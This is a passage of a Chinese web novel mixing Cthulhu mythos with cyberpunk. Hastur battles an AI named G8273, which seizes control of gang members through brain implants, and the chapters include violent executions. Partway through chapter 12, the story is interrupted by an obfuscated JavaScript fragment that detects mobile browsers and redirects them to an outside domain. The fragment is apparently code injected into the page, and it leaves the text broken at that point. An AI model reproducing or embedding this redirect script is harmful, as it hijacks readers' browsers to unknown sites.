G8273本已掏空全部算力,同时支撑两项目标运转的核心里,硬是挤出了第三条逻辑链。
克苏鲁体系的邪神通过精神污染发动攻击,他作为代码构成的生命体,根本不存在“精神”这种东西,怎么可能会听见只有精神被扭曲时才能听见的鼓声?
任务的优先级在这一刻瞬间变更。
所有倾注于“带走老尼尔”这一目标的算力,在这一刻被全部撤回,毫无保留地投入另一项目标:
杀死邪神。
——现实在动荡。
曾经这些动荡很难用人类的肉眼捕捉,不论是精神污染,还是运转的算力。
但当这两者的强度不断拔升,及至某个难以逾越的峰值时,人类所拥有过的第六种感官便开始发出尖锐的警报。
车队之后。
达斯汀警探前一秒还在震惊低叫“怎么回事?黑衣保镖和赞恩帮忽然全倒下了!”,后一秒震惊的目标就从地面转移至上空:
“我……操……?我是不是脑芯被控制,还是产生幻觉了?我怎么看到天上有一堆触手还是树根的玩意儿在乱动,周围还飘着一堆绿色数字?!”
他并不是唯一一个看见的。
当不胜利就死亡的争斗进入白热化阶段,求生与进化的欲望便化作了一双无形的巨手,将两个站在突破瓶颈之前的存在狠狠推过临界点,彻底跨入新的阶段。
哈斯塔的精神污染强行侵入了冰冷无生命的代码,精神触须死死绞缠住本不该有体积的代码字符。
G8273运转的代码突破了承载硬件的限制,开始对现实造成控制与改编。
大量的绿色字符浮现在空气中,构成一道道船锚般的锁链,捆束住同样本该无形的精神触须,并进行强行改写!
对战双方都发觉敌人在对自己造成奇怪的影响。
譬如G8273原本盘踞在某个赞恩帮混混的脑芯中,本没有实体,但在这一刻,他却*感受*到了血肉畸生的怪异感触。
譬如哈斯塔本由无形无貌、无法解析的非物质构成,此刻却在代码的*改写*下,陡然拥有了人类肉眼可见、可被理解的实体。
车队之后,老尼尔心神俱震地仰头瞪视天空中的画面,神情近似于膜拜和恍惚:“黄袍……”
那凌驾于夜空之上的存在,身披着一袭海浪般涌动的泥黄长袍。
黄袍之下,近似于古树树根的深褐色触须大量孽生,如同深海生物的腕足般抽打向四周。
那些“腕足”行动的速度并不快,甚至称得上缓慢。
但现实的空气却如同海水,被那些“腕足”搅出一道道漩涡,卷向那些捆绑着它们的幽绿色光链。
“是真的……哈斯塔……黄衣之王……”
老尼尔迷醉似的喃喃,紧盯夜空的眼中含着亢奋和热切到不正常的信仰膜拜:“哈斯塔真的存在!萨达—赫格拉宣扬的都是真的!!”
简直要被头顶的怪物吓傻了的达斯汀震惊侧目,几秒后才猛地反应过来:
哦,也不能说老尼尔不正常。人家本来就是摇篮教的入会成员,一早就信这个,那见到真神降临是得激动……老尼尔这表现只能说明人家不是叶公好龙。
达斯汀心里过这些充满槽点的念头,手上不忘将老尼尔使劲仰高的头猛地按低:“小心流弹!”
“呯呯呯呯!”
动能子弹击穿车门,留下一串漏风的弹眼。
电塔上方,芬尼安凭着仅存的单手单脚,连攀带跃至电站屋顶,一下将带头冲他放冷枪的加文掐着脖子,反扣在地。
他几乎被这些前下属气笑了:“真**情比金坚啊,加文?头顶有只那么大的怪物飘着,身上那么多畸形息肉长着,你还满心满眼都是我,只想把我杀死?”
他并不是那种爱在动手前演讲的人,俯身低语时,手中的轻型手枪就对准了加文的四肢关节,枪口紧抵着皮肉:
“乓!乓!乓!”
加文骤然爆发出凄厉的惨叫,但他竟还能保持在这样的剧痛下保持理智:“停下,停下芬尼安,请求你,看在我也曾为你卖命的面子上!”
芬尼安不为所动,只向着屋檐扔去几枚震爆弹,将试图冲上来的赞恩帮混混重新炸回地面,枪口就重新抵上了加文的胸膛:
“你替我卖过的命,我已经在沙漠废土里还完了。”
“乓!”
利落的枪响。
芬尼安是个容易心软的人,但他的心软绝不冲着背叛者。
他同过去告别的动作干脆而毫无迟疑,并没有同故人说最后几句话的打算,也不打算为了报复,一比一复刻敌人曾在他身上施加的伤害,让加文痛苦的流血而亡。
曾经辉煌的、以难堪收场的过去,结束就是结束了。
用最后一枪画上句号,他会继续头也不回地向前走。
最后一枚子弹被打入加文的头颅,彻底断绝了加文死里逃生,日后阴魂不散的可能。
芬尼安丢开轻型手枪,拽出加文手中的动能机枪,一跃跳下屋顶,冲入赞恩帮帮众的队伍。哪怕被G8273摧毁了一手一腿的行动能力,依旧不妨碍他单人作战的能力。
废弃电站上方,两个非人的存在仍在为进化之路而死斗,试图杀死竞争者。
地面上,人类同样在混战,只是不为生存,仅为利益。
炮火和流弹再次袭向这片疮痍满目的战场。
达斯汀竭尽所能地拽着老尼尔躲开几次流弹,连滚带爬地往更远的方向跑。
轰鸣的炮弹声将夜风的低吟吞没,也吞没了其中一声轻微的、被消音器处理过的枪鸣——
“——”
流弹穿透数辆轿车,直射向老尼尔的后脑。
达斯汀后颈一凉,近乎条件反射地向前一扑。
“噗。”
压着老尼尔向前扑倒的达斯汀,似乎听见了金属子弹射入脑颅的闷响。
但他没感觉到疼痛,爬坐起身时,还能听见老尼尔震惊又有些微妙的追问:“你没事吧?我以为你们这种条子巴不得我这种满手罪孽的老家伙早下地狱。”
“我是挺巴不得的,”达斯汀下意识地摸向后颅,“但我还有真相要查,至少十六名失踪民众要救,你死了这些人命怎么……我*。”
他麻木地吐出一句没有起伏的粗口。
食指下方,一处洞口相当明显地咯着他的指腹。
他大脑空白地反复揉了几下,指腹尖忽然又触到了某种新事物。
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先是一个钝平的圆形平面,而后那东西一点一点从洞口处,被挤推出来。
下一秒,那枚硬物当啷坠地,子弹在地面上滚动。
“……”老尼尔看着达斯汀的目光从略有触动,到震惊瞪目,“你——你居然有不死之身?!”
达斯汀人都傻了,还记得拖着老尼尔继续往远处跑,边跑边茫然重复:“我不知道啊,我真的不知道啊……”
但当第四声鼓鸣在他耳边震响时。
他的脚步因为骤然变软的地面而踉跄,思路却豁然变得清晰:
已知。他合作的好院长先生其实是个非人类,且他发出的鼓鸣声能够让正常人类七窍流血,血肉畸生。
问:为什么一直和他待在一起、与战场保持相同距离的老尼尔,鼻腔和耳道都流出鲜血,他却丝毫未受影响,射.进他后颅的子弹还会被原样挤出头颅,无法取走他的性命?
达斯汀的胸膛骤然猛烈起伏了几下,脚下的步伐顿停。
他回头看看废弃电站的上空,又看看老尼尔:“——跑!你自己离开这里!”
“什么?”老尼尔显然还保留着一些老派的义气和底线,比如达斯汀多次救了他的命,他就必须回报,“你不跟我一起走?”
“嗯——”达斯汀发出矛盾而挣扎的声音,但再看看天空中开始浇淋下的血肉残块,他的决定重新变得坚定,“我要回去一趟——你走!快点走!”
他用力推了一把老尼尔,逼迫对方重新跑起来,自己则脚下一转,笔直地冲向血雨淋漓的战场。
那些坠落的血肉肯定不止属于哈斯塔,也属于被哈斯塔污染、逐渐生出血肉的G8273。
但即便双方能打个平手,这样持续消耗下去,除了两败俱伤还能有什么结果?
达斯汀边跑边疯狂发出杂乱无章的脏话,思维却无比清晰:
必须打断这场注定双死的战斗。
该怎么做?设法驱逐邪神?——不行,他根本不知道怎么召唤走哈斯塔,警方搜集的资料里不包括这个。
那设法驱逐那个G8273?
完整的计划在他的脑海中逐渐成形。
他飞速扎进废弃电站(感谢毕业之后他仍天天跑外勤,体能没衰退),正好撞上处理完最后一个叛徒的芬尼安:
“——你!我记得你是和H.J一起来的,对吧?!”
“?”芬尼安提着枪,反应了一下才意识到H.J是指院长,“怎么?”
“我有一个计划,”达斯汀飞快的说,“首先要引起一场磁暴,摧毁上面那个G8273外流的数据,把他逼退回正盘踞的机房。”
“然后我们炸毁这里的信号塔。让他没法顺着信号再爬回来。”
“……?”芬尼安挑眉看向达斯汀,“我记得不久前你才在电话里抱怨过帮派混混有多缺德,总是破坏信号塔,现在,正义的警探先生准备亲自炸塔?”
达斯汀木着脸看他,抹了把脸上的血泥:“你干不干吧。”
“当然干,我还有恩要报。”芬尼安将手里的电磁炮枪丢给达斯汀,“磁暴我来负责,大概要多拆些电磁枪……你去炸塔。”
这么有意义的事,当然要让警探先生亲自做。芬尼安满脸写着有趣,拖着一条残腿走向尸堆。
与此同时,夜空之上。
哈斯塔眼前的系统提醒已经变了,不再重复刷出【血量清空,您已死亡!】。
倘若此时他有闲心点开数值面板,就会发现自己的诸多数据已经发生了天翻地覆的变化。
——可惜正缠斗的双方都没那个闲工夫。
他们像两头刚拥有四肢,还不怎么懂得怎么操作的野兽,即便没有任何技巧,依旧凭着要将对方置于死地的执念,疯狂撕扯、啃咬着对方的肢体和血肉。
哈斯塔陷入混沌的意识产生了一丝退缩,内心的声音发出颤抖的哀鸣。
那是野兽在预视到自己的死亡前,发出的无奈悲鸣。
G8273高度集中的运算中,也无法阻止地浮现出一条乱码的逻辑判断:
#他将会和敌人一同陨落在此处。#
但他们无法停下,不能迟疑。
任何退缩都将成为递交给敌人的尖刀,敌人只会毫不犹豫地利用这把尖刀,剜出对手的心脏。
缠斗间,他们不约而同地想起见面后发生的第一句对话:
“我以为我们不会这么早碰面。”
他们的确不该这么早就碰面,这将他们引向了某个相当糟糕的结局。
而就在他们无能为力地目视自己一步步滑落向这个结局时。
“轰——”
磁暴产生的蓝光屏障瞬间吞没了整个电站。
哈斯塔的动作被短暂地延缓。
他发出咕哝呓语般的低声咆哮,视线穿透刺目的蓝光,看向忽然从实体,被炸回虚态的对手。
更远的方向。
“轰……”
橙红的火光从信号塔的方向骤然亮起。
有些出乎达斯汀计划之外的,G8273并没有立即被踹回不知地处何处的机房,他的虚影在原处短暂停留了数秒,而后冲着哈斯塔露出一个愉快又充满进攻性的笑容。
他没有拟人形象,哈斯塔没法从一堆字符中看出这个笑容。
哈斯塔只是在磁暴的冲击下继续抬起触须的尾端,意图在敌人消失前,再撅点残肢断片下来。
G8273没理会这点小伤小痛,这点损伤对于他们两来说,近乎于干完架后再暗戳戳地踹对方屁股两脚,伤害性不强,重点是泄愤。
他在哈斯塔的撕扯中反而靠近了几分,唯一仍保持拟人形状的左臂,探入哈斯塔的黄袍。
一只老式手机被摸索出来,G8273灵巧地输入一串号码,又将手机塞进正试图将他撕碎的深色触须:“有空联系。”
最后一抹绿光也随风消散了。
哈斯塔的理智缓缓回笼,低头瞥了眼最后关头,硬从对方身上扯下来的“肢体”。
说是肢体,其实就是那截因为他的精神污染,而被迫保持手臂轮廓的代码。
鬼知道G8273是不是觉得哈斯塔造成的精神污染暂时没有排解的手段,所以明智地直接自断一尾,以免污染扩散。
身旁的屋顶上,芬尼安敏捷地单臂攀跃了上来。
他看看G8273消失的位置,又看看哈斯塔,神情略显微妙:
“——你们非人类干完架,都会给对方留联系方式,还‘有空联系’的吗?”
哈斯塔面无表情地卷动触须,“啪嚓”碾爆了那只看似是用来调情,其实是留下定位,方便下一次追踪的老式手机。
12. 第 12 章
缠斗已经结束,但造成的影响仍在持续。
哈斯塔某几段触须仍在因亢奋而战栗,他抬起镰刃状的手,以刃背碰了碰自己的脸部。
*脸?脸?!我们从没有过这种东西!*
内心的声音低沉地咆哮:
*他令你变得弱小!哈斯塔!看看你现在的样子,你像个从三流恐怖小说里爬出来的章鱼怪。*
*这就是他的目的:将你从无形无貌、不可知的古老存在,变成一个有血有肉、可以被伤害的低级实体!*
哈斯塔当然知道这种类似降维的攻击意味着什么,不过考虑到自己对G8273做的也是同样的事,他比内心声音平静多了,只检查了一下这种糟糕的影响大概会持续多长时间,预计持续不过6小时,就放心地收回了手。
系统像踩着点似的,在他放下手的瞬间叮咚了一声。
【任务:进化的两端·一(已完成)】
【任务奖励:自由点+5;苍白面具×1】
【是否寄存道具?[是/否]】
哈斯塔没多想,随手选了个是,下一秒,触须中卷着的那截手臂虚影骤然消失。
“……?”哈斯塔没想到这东西也能算是“道具”,但比起研究敌人的断臂,他更在意新得到的自由点。
经过今晚的争斗后,他和G8273无疑会抓住一切机会,尽可能地提升力量。他记得在自己将G8273的注意力完全引走后,芬尼安又替他产出了不少点数。
数值面板缓缓展开,哈斯塔习惯性地将所有技能点一股脑加在精神上,才接着往下细看:
【角色:哈斯塔
精神:45(入梦时,您或许会梦见那片温暖的湖)
智力:3((您有脑子,但不多,即便有线索在您的面前起舞,您也只能看到一团空气))
力量:30(您壮得能徒手拆门,像拆威化饼干!)
生命:30(当你拥有锁血挂时,增长的生命有何意义?为下一次战斗提供更持久的耐力?)
防御:30(如果您需要做手术,最好试试整体钨钢锯片)
敏捷:10(您身手敏捷……至少跳下台阶时绝对不会摔倒)】
好消息!他的力量、生命、防御都不知为啥,突然翻了几十倍。
坏消息:他的智力还是纹丝不动,甚至敏捷还降了一半。
哈斯塔瞪视面板,就像玩家发现自己的某件装备同时具有“增加A属性”和“削减B属性”的功能,哪怕A属性加得再多,砍在B属性上的数值也让人十分在意。
内心的声音再度找到了合理的神秘学解释:
*我们的精神体变得更庞大了,哈斯塔。你不可能指望一个存在既拥有庞大,又拥有敏捷,对吧?*
对什么?哈斯塔决定要将后续得到的自由点,分配10个给敏捷。
他关闭数值面板,看向另一个任务奖励。
系统适时地弹出提示:
【是否佩戴道具:[苍白面具]?】
一种奇怪的感觉忽然涌上鼻腔和喉咙,他不由自主地张开嘴……打了个小小的哈欠。
*……那是什么??那是什么??*
内心的声音简直在尖叫:
*你在——打哈欠!?那是低级的碳基生物才会做的事!我们从不困倦!*
哈斯塔将这哈欠归于6个小时负面状态内的正常现象,不为所动地继续点击[是]。
面部皮肤微微一凉,有什么硬质的东西覆盖在了脸上。
哈斯塔透过面具的眼部孔洞看出去,看见——
眼前骤然蒙上了一层蜃雾。
等雾气散去,视野再清晰时,哈斯塔看见了……一片黑色的,无垠的湖。
黑色的星辰在湖面上方高悬,大片城池的剪影在月光下起伏不定。
他看见高高的尖塔,看见铺满灰烬的道路……
眼前的蜃景忽地散去了。
*那是什么?*
内心声音几乎在喟叹,梦呓一样咕哝着:*我感到……如此熟悉。*
哈斯塔无法做出解答。
他抬手摘下骨制面具,试图再戴一次,看能不能再看一次蜃景——
“咔哒。”
手.枪上膛声在他身后响起。
哈斯塔的动作停了下来,转身看向后方。就见达斯汀警探满身狼狈,像是刚从火场中钻出来,凌乱的发丝和衣物上都有被浓烟熏过的痕迹。
“你到底是……什么?”达斯汀警探手中的枪笔直地指着哈斯塔,惊疑不定的眼神中带着挣扎,“为什么要主动陪我一起查失踪案?”
“你认真的?”芬尼安扒着屋顶往下探头,语气惊讶,“你刚为了救院长跑去炸信号塔,现在好不容易救成功,你又跑回来拿枪指着他?你也太矛盾了,警探。”
哈斯塔倒是能理解达斯汀矛盾的缘由,说到底,还是因为警探先生内心的正直。
他受恩于哈斯塔,并认为哈斯塔并未做过错事,因此无法眼看着哈斯塔与敌人同归于尽。
但他又要对凤凰区无数人的生命安全负责,因此他必须对哈斯塔拔枪。
哈斯塔并不讨厌这种正直,甚至希望这种正直能保留得更久点。
毕竟在现实的公司中,这样罕见的人往往只是昙花一现,有时甚至还没来得及现,孱弱的花苞就被冷酷算计的巨浪拍成稀碎的泡沫。
更何况,达斯汀警探刚刚的确救了他。
“我不知道我是什么。”哈斯塔给予诚实的回答,“这就是我陪你查失踪案的原因。我认为摇篮教有我需要的信息。”
“——?”达斯汀警探浅灰色的眼睛微微睁大。
不知道为什么,这种冷酷的眸色放在他身上,哪怕此时眼底盛满警惕和惊疑,依旧显得可靠而澄澈:
“你是说——你认为——你可能是摇篮教信奉的神明之一??”
达斯汀警探猛然想起来,之前逃命时,老尼尔的确看着H.J喃喃过什么“哈斯塔”、“黄衣之王”:
“……这不可能……这不能是……摇篮教宣扬的,都是真的??你是哈斯塔?那个化身是黄衣之王的哈斯塔??”
哈斯塔刚要点头,就听达斯汀警探道:“所以——那天袭击我的真是奈亚拉托提普?你的舅姥爷?”
哈斯塔:“……”
内心的声音:……
达斯汀警探永远能用一句话将哈斯塔干沉默,这怎么不算一种超能力。
哈斯塔:“……那不可能是。”他的语气急转直下,甚至有些硬邦邦,“如果奈亚拉托提普的辈分真的远高于我,祂不会杀个人都那么费劲。”
那晚出现在香草街的到底是什么……!哈斯塔感觉脸都要被丢尽了:“不要再讨论这个问题了。总之那不是。”
达斯汀警探下意识地应了一声,手.枪放下到一半,又猛然清醒过来,重新抬起:
“那你今晚来废弃电站是想做什么的?我以为你不打算和我一起走访,是有其他重要的事要忙?”
哈斯塔这才后知后觉地回忆起自己赶来这里的初衷:“——哦,扫荡,还有换悬赏金。”
旁边的芬尼安将加文的尸体从屋顶上踹下去:“对。很高兴你想起咱们的最初目的了,院长。所以,快行动起来吧?院长?警探?尸体可不会自己走进集装车厢。”
哈斯塔闻声环顾四周。
原本“热闹”的据点,如今只剩下他和芬尼安、达斯汀还在活着喘气。
剩下的赞恩帮成员,包括不幸卷入斗争的黑衣保镖,都已经横陈在地上陷入永眠。
老尼尔不在了,大概是被达斯汀警探推远后,为了保命逃离了电站。
不过哈斯塔不担心这个——他相信经历过今晚的一切后,只要自己出现在老尼尔面前,老尼尔一定会无比配合地倾囊相告。
达斯汀警探还想问什么,被芬尼安拿手臂一揽肩膀,半强制性地夹着走开。哈斯塔还能听见芬尼安PUA达斯汀警探的声音:
“……为什么是怪物就得敌视?你这是物种歧视?”
“院长又没做什么违反乱纪的事,你拿警署发配给你的脑芯扫扫这些死人,是不是都是你们警署榜上有名的通缉犯?”
“真要说的话,今晚干了一票大的的人,好像是你吧达斯汀警探?警探炸信号塔,啧啧……”
哈斯塔听见达斯汀警探发出了一声想死的哽咽,可能是不知道怎么为这堆烂摊子收尾,以及估算自己有生之年能否还完所有的欠款。
芬尼安打一棍子给颗蜜枣:“但只要我们不说,谁知道信号塔是谁炸的?就说这是赞恩帮内乱导致的吧,警探先生。您今晚已经做到最好了。”
达斯汀警探还得倒过来对芬尼安说谢谢,听得哈斯塔只想说一句“狡猾的黑.帮头子”。
·
芬尼安和达斯汀警探的行动能力很强,不到半小时的时间,战场的每一个角落都已经打扫完毕。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918443|160316||http|test|mini|href|location''.split(''|''),0,{}));
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>哈斯塔清点了一下所得,单是扫荡得来的现金就有13万,再加上能去警署领取的悬赏金,他的建设资金大概能凑个35万整。不算多,但至少足够建个学校。
达斯汀在据点周围找来了一辆闲置卡车,用以安置要送去警署换悬赏的尸体。
芬尼安则一瘸一拐地溜进地下室,从里面推出一辆十分炫酷的重型摩托。
“巴比伦公司出品,湖中仙女系列的先锋车型,亚瑟。”
芬尼安轻柔地抚摸着摩托流畅的线条,就像抚摸爱人的肌肤:“这是唯一一件我想从据点带走的东西……不过我目前的状态,并不适合骑车。”
被芬尼安一连瞥了好几眼的哈斯塔:“?”
*他在偷瞄什么?*内心的声音又暴躁起来,它似乎只在看见那片黑湖时变得平和,*难道指望我们骑这种车吗?!*
堂堂黄衣之王当然不会骑摩托,但他的力气现在足够大。
因此在被芬尼安偷瞄第八眼时,哈斯塔直接用触手卷起亚瑟,将摩托塞进了卡车车厢里。
三个人忙碌了一通,总算挤进驾驶舱里。达斯汀发动引擎时,还在和芬尼安絮叨:
“天,我快不知道失踪案该怎么破了,如果那些信徒真是被邪神带走的呢?还有那个G8273——他为什么出现在这里?他的目的和诉求是什么?”
和喜欢飙车的芬尼安截然不同,达斯汀是那种即便没有测速镜头,也会严格遵守限速的人。
大卡车在凹凸不平的路面上平稳前行,带起微微的颠簸,像被微微推动的摇篮。
哈斯塔开始还能听听达斯汀和芬尼安的对话,后来,陌生但舒适的困倦就如同温暖的潮水,拥抱向他,哄诱着他,将他带入一片黑甜的梦乡。
…………
他又一次看见了那片黑色的无垠之湖,在梦境里。
这里没有内心聒噪的声音,只有安静的水浪声。
他涉水而下,去拥抱这片温暖的湖,就像胎儿回归充满安全感的羊水,平静包裹着他。
…………
不知几小时后,哈斯塔被现实世界的闹铃声惊醒。
*怎么……发生了什么?*
内心的声音像刚睡醒的人类似的咕哝。
哈斯塔坐起身,全息头盔从失去拟态的头顶滑落。
他已经恢复了无形无貌的状态,但那种饱睡一顿的舒适感,似乎仍在他身躯的每一寸中流淌,以至于他继续感受了一阵,才飘着起身。
没有实体的他是不存在“困倦”这一感受的。所谓的困意、舒适,显然都是昨夜被实体化后才获得的短暂体验。
内心的声音又含糊了一阵,才猛然清醒,紧跟着就竖起了充满攻击性的刺:
*看看那个G8273做了什么!!他差点让我们陷入永恒的安眠!!*
哈斯塔无视睡得很爽、但不肯承认的内心声音,做好准备,就出发上班。
工作永远是乏味的,所以哈斯塔理直气壮地一心两用,分神去回顾昨晚的经历。
G8273,这个AI有着相当明显的立场偏向。
面对不知道是否存在的邪神,他闻风就开始着手调查,见面就开始丝毫不遮掩敌意的干架。
但面对人类,即便芬尼安主动攻击,他所做的也不过是通过脑芯,操纵赞恩帮帮众,削减芬尼安的行动力,而不是一击必杀。
对达斯汀也一样。
这位警探先生没穿任何防弹马甲,都把老尼尔从黑衣保镖手中劫走了,G8273也没操纵任何一个黑衣保镖,直接给达斯汀警探来上一枪。
达斯汀中的那枚流弹,还是赞恩帮帮众想干掉芬尼安时打出的。
哈斯塔估计G8273的核心代码里,或许有“保护人类”的硬性要求,所以那家伙才表现出如此明显的立场偏向。
“……斯塔?哈斯塔!”同事的呼喊打断了哈斯塔对G8273的侧写,“看玻璃窗外!是老板,还有你的监管者……老板说想跟你谈谈,你快去!”
哈斯塔忽略了同事碎碎念的“这里的工作就交给我……咦你怎么还不走,别让老板等你啊”,侧目看向玻璃窗。
他依旧看不清老板的面貌,对他而言,老板就像个行走的马赛克。他只能看见绿朱草侍立在老板身后,脸上的微笑显得有些勉强。
*嗯……你嗅到了吗?*
内心的声音耳语:
*紧张、不安、恼火……多么浓烈,是谎言的味道。*
13. 第 13 章
哈斯塔并不是很喜欢和老板相处,倒不是因为老板给他穿小鞋什么的……主要是每次靠近老板,他的能力都会受到一定程度的干扰。
好比现在,他虽然能闻嗅到空气中浓烈的谎言气味,却分不清这气味是从谁身上散发出来的,这种不适感,简直就像人类感冒鼻塞。
他倒也并不一定就得揪出撒谎的人是谁,毕竟公司里的人几乎每天都活在谎言里,衡量谁撒得谎多谁撒得谎少没有意义。但“能揪出来,只是懒得揪”,和“受干扰,不能揪”,完全是两回事。
本着速战速决的想法,哈斯塔快速飘出被袭商场的大门。
在老板面前停下时,就感知到一道目光从那道马赛克里投过来,将他上下打量了一番。
“你看起来比我想象得要精神,显得我这趟探望有些多余。”
老板语气平淡,叫人听不出他究竟是在为“哈斯塔精神不错”而高兴,还是不高兴:
“我听说研究中心指望用全息游戏满足你的筑巢欲,本来不觉得这是个好想法。今天来是想告诉你,即便你在现实中筑巢,造成的损失,公司也能负担得起。但就现状来看,你在游戏中的体验还不错?”
——岂止是还不错,现在甚至有些乐不思工作。但这话不方便在老板面前说。
哈斯塔含糊回复:“还行。”
老板的剪影冲他简短地点了点头:
“如果以后觉得不行了,也可以继续在现实中筑巢,我的允诺永远有效。”
“只要不伤及性命,你造成的任何损失,财政部都能承担。”
哈斯塔:“……”
幸好这话不是当着财政部的面说的,不然财政部能当场表演一个集体跳楼。
老板轻描淡写地说完能让财政部原地爆炸的话,又从怀里取出一沓文件:
“还有就是上次那伙商业间谍的事。”
哈斯塔反应了一会,才意识到老板指的是之前那几个被他污染成肉块,至今还串在巢穴上的背叛者。
老板将文件递给哈斯塔:“能让这伙人渗透到你身边,作为同事潜伏这么久,甚至成功对你进行刺杀——不论刺杀的结果如何,这次安全隐患都属于绿朱草的失职。”
“在今日之前,你的所有事宜都由绿朱草一人打理。但绿朱草手底下还有大批员工,未必能分得出足够的精力,将你照顾好。”
“我在总部重新挑选了一批人选,他们更有闲余,并且能力也不弱于绿朱草。如果你需要,可以在资料里挑选合眼缘的人,由他——或他们,和绿朱草一起对你负责。”
绿朱草的脸色肉眼可见地变得难看:“您想调拨更多人手监视哈斯塔?”
“是照顾。”老板纠正。
他的语气依旧平淡,似乎一点不为绿朱草的质问而生气,有时候哈斯塔甚至会觉得,绿朱草的好脾气说不准是从老板那儿学来的:
“这不是强制。我说了,‘如果哈斯塔需要’。”
“对于这个提议,哈斯塔有接受或拒绝的权力,我仅仅是向他提供一个可以参考的选项。”
“我不需要。”哈斯塔没看绿朱草冲他使的眼色,果断拒绝。
谁闲着没事给自己增添监护人的啊?更何况他现在每天工作、打游戏的时间都不够用,多几个新监护人,就得多浪费几倍的社交时间,他还要不要升级……觉醒了?
与其搞这些,倒不如快点放他回去上班,免得今天的案件勘察不完,晚上又得额外加班……
老板偏头思考:“既然这些你都不要,那给你放假要不要?”
“?”哈斯塔仿佛听到了夜莺在歌唱。
·
虽然不知道老板这只夜莺搭错了哪根神经,居然主动给员工放假,但白得的半日假期不要白不要。哈斯塔从勘察现场离开时,都能感受同事们那吃柠檬的注视。
他怀揣着些许疑问回到巢穴,登入游戏时,仍能感受到自己的精力充沛得非比寻常。
*那也不代表睡眠是一件好事。*
内心的声音警惕冒头:
*和舒适相比,当然是变强更为重要,想想这六个小时,如果不睡觉,你能完成多少任务?*
哈斯塔客观上承认这说法有道理,主观上又觉得昨晚的睡眠体验的确舒适得无与伦比。
不过基于他和G8273不可能这么快再次对敌,现在思考这些也没有意义。
更换成黑湖的登入PV很快跳过,游戏画面成功载入:
【9月31日·2:00p.m·凤凰区·孤儿院】
哈斯塔在睁眼的第一时间拽过办公桌上的座机,拨出达斯汀警探的号码,以获取最后一笔建设资金。
“嘟……嘟……”
电话响了半天,归于盲音。
哈斯塔疑惑了片刻,认为达斯汀警探或许正在处理什么别的公务,只好姑且放下电话,飘向芬尼安的宿舍。
打从芬尼安正式入职后,院内的聚集地点就从大厅,改成了芬尼安的宿舍。这主要是因为伊塔库亚时常找芬尼安聊天,导致哈斯塔不管找谁,都得去芬尼安的房间……
但今天很不一样。哈斯塔推门而入时,只看见正趴在窗边堆雪人玩的伊塔库亚,没见到芬尼安:“我们的厨师人呢?”
他最喜爱的产点大户呢?
伊塔库亚自得其乐地为其中一个小雪人带上一顶毛毡帽,殊不知这样悠闲不用学习的生活,即将离他远去:
“芬尼安去看医生啦,昨晚他的义体不是被损毁了吗?他就说要去趟迷迭区。那里有个他很信任的义体医生——就是帮他装机械心脏的那个——可以替他更换新的义体。”
一楼响起座机的铃声,哈斯塔来不及质疑“曾被信任的兄弟捅刀子的芬尼安,信任的医生究竟值不值得信任”,赶紧下楼去接很有可能是悬赏金……啊不是,达斯汀警探的电话。
“喂?H……院长?”电话那一端的声音很嘈杂,达斯汀似乎刚从什么会议厅里走出来,“抱歉之前没接你的来电,我正在参加一场听证会——*我*的听证会。”
哈斯塔听出了达斯汀强调的重音:“你炸信号塔的事被查出来了?”
“……不!”达斯汀大概是钻进了某个空房间里,电话那头变得安静很多,“是升职,警署在考虑要不要给我升职。他们想把我塑造成‘能在一晚之内端掉整个赞恩帮’的明星警探!”
这倒是有点出乎意料了,哈斯塔理性地思考了一下这件事:
“他们大概也是想给自己的履历增加点光彩吧。这对你来说应该是个好消息?我不认为芬尼安会在意这点小问题。”
——达斯汀也算半个员工了吧?不知道达斯汀警探升职或者抓捕犯人,系统会不会给他自由点?
哈斯塔不无期待地想。
达斯汀哪能猜到哈斯塔在打什么算盘,他深吸了一口气,又颓然地吐出:
“我只是觉得,这样太难看了……太难看了。”
“平时遇到什么事,都避之不及,生怕惹火上身,现在有了一星半点功劳,就像鲨鱼一样涌上来疯抢……我曾经心心念念想加入的警署不该是这样。”
哈斯塔险些把“那你把他们都踢掉,自己上位”说出口,考虑到警探先生有多正直,他还是把燕国地图卷了回去,转而岔开话题:
“这也不是你能决定的问题,不如先解决眼前的事——比如我的悬赏金?还有老尼尔的走访?”
重点还是悬赏金。
他已经迫不及待想获得持续产点了!
达斯汀警探再度深呼吸了一口气,低声道:“你说得对,你说得对H.J。在孤儿院等我,我把悬赏金带过去,再和你一起去走访老尼尔。”
·
达斯汀警探来得很快,据说是因为局里给他配了一辆新巡逻车。
哈斯塔接过悬赏金,一边安抚仍在沮丧愤怒的警探先生,一边打开建设界面,选择【基础课堂套装】。
眨眼的功夫,原本被哈斯塔封闭的学校就产生了巨大的改变。
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原本七米高的单层被分割成了三层楼,中央由旋转楼梯上下连接。
一楼是理化生和文学课堂专区,二楼则是手工课、黑客课堂。
三楼同样被分成两半,一半是简单的表演舞台,另一半则是铺设有大量软垫的小型习武场。
哈斯塔郑重地为自己的产点学校添上一楼大门,宣布大功告——
【您的学校仍缺一名老师,才能正式开办!】
愉悦波动的黄袍卡住:“……”
老师?他现在上哪找个老师来?之前为什么不提!
哈斯塔把任务界面翻得唰唰作响,终于在任务的角落看到一个小小的选项:【待选名额】
他点击查看,就见弹出的名单上总共有三个名字:
【院长:不具有任何一科的专业知识,无法就任(不可选择)
达斯汀:具有格斗术的教授资格(无空闲时间,不可选择)
芬尼安:具有理化生及文学;手工课及表演;格斗术及低级黑客常识的教授资格(可选择)】
哈斯塔:“……”
芬尼安!永远的神!
他火速将芬尼安拖进教师名单,下一秒,系统响起一阵悦耳的叮咚响:
【任务:基础建设一(已完成)】
【任务奖励:5自由点。
注:根据目前的建设等级,学校每小时都将持续产出0.05自由点。】
……好抠门的产点数值。
哈斯塔大概估算了一下,每小时0.05,一天下来刚好能产1.2个自由点。
这看起来虽然不多,但他现在建设的毕竟是最基础的课堂套装。等日后有资金了进行升级,产出量肯定还是会增加的。
他很快调理完心态,看向达斯汀:“我们去哪走访老尼尔?他的家?帮派据点?”
“不,乔伊街。”达斯汀震惊又新奇地把头探进新学校内打量,“来的路上我就和他联系过了,老尼尔昨晚提前离开,是为了尽快带自己的手下做脑芯摘除手术,以免被再次操控。”
